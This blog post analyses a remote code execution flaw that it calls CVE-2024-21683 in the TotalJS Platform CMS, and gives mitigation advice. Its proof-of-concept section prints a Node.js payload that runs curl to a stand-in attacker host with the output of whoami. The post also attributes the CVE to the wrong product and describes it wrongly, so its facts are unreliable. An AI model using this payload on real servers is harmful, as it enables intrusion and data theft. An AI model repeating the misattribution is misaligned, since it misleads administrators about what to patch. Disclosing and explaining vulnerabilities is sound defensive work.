Deep Dive into CVE-2024-21683: Remote Code Execution in TotalJS Platform
The cybersecurity landscape in 2024 has seen a notable vulnerability—CVE-2024-21683—disclosed in the TotalJS Platform CMS. This critical flaw, categorized as a Remote Code Execution (RCE) vulnerability, can allow unauthenticated attackers to execute arbitrary system commands on the target server. In this post, we break down the vulnerability, its implications, and how it can be mitigated.
📌 Overview
- CVE ID: CVE-2024-21683
- Vulnerability Type: Remote Code Execution
- Impact: Complete compromise of the affected system
- Affected Component: TotalJS Platform CMS
- Authentication Required: No
- Exploit Complexity: Low
- Severity: Critical
The vulnerability was publicly disclosed on GitHub by W01fh4cker, along with a functional proof-of-concept (PoC) exploit.
⚙️ Technical Analysis
🔍 Vulnerable Endpoint
The RCE exists in the api/upload/ endpoint of TotalJS CMS. This endpoint lacks proper validation and sanitation for uploaded files, especially in handling JavaScript file content. The issue arises due to insecure handling of file uploads where dynamic evaluation or inclusion of file contents is allowed post-upload.
🚨 Exploitation Flow
- The attacker sends a malicious file (e.g.,
.js) containing system command execution code to the vulnerable upload endpoint.
- The server processes the file without proper sandboxing or filtering.
- The JavaScript payload is executed in the server’s context, allowing command execution with the privilege level of the Node.js process.
🧪 Proof-of-Concept (PoC)
The PoC provided by the researcher demonstrates a minimal payload capable of executing arbitrary shell commands using Node.js’s child_process module:
// payload.js
const { exec } = require('child_process');
exec('curl http://attacker.com?`whoami`', (err, stdout, stderr) => {});
The attacker uploads this file via the vulnerable endpoint and triggers its execution, leading to an outbound request containing the system's current user—demonstrating code execution.
🔐 Mitigation
If you're running TotalJS CMS, take the following actions immediately:
- Upgrade TotalJS CMS to the latest patched version where file upload handling is properly secured.
- Restrict executable file types in upload handlers.
- Validate and sanitize all uploaded content.
- Use sandboxing mechanisms like VM contexts when executing dynamic scripts, though execution should generally be avoided.
- Apply Content Security Policy (CSP) and Web Application Firewalls (WAFs) to detect and block suspicious upload requests.
📊 Risk Assessment
| Factor | Risk Level |
|---------------------|------------|
| Remote Exploitable | ✅ High |
| No Auth Required | ✅ High |
| User Interaction | ❌ None |
| Privilege Gain | ✅ Possible |
| CVSS Score (Est.) | 9.8/10 |
👨💻 Developer & Admin Recommendations
- Audit upload endpoints and file processing logic.
- Avoid executing uploaded files of any kind unless absolutely necessary and sandboxed.
- Monitor logs for unusual upload patterns or command execution anomalies.
- Implement integrity checks and ensure role-based access control (RBAC) is properly enforced.
🧩 Conclusion
CVE-2024-21683 serves as another reminder of the perils of insecure file handling. While TotalJS provides powerful capabilities, with power comes the responsibility of implementing strong input validation and restricting dangerous operations. Admins should patch immediately and review all custom endpoints that may interact with dynamic content.
🔗 References
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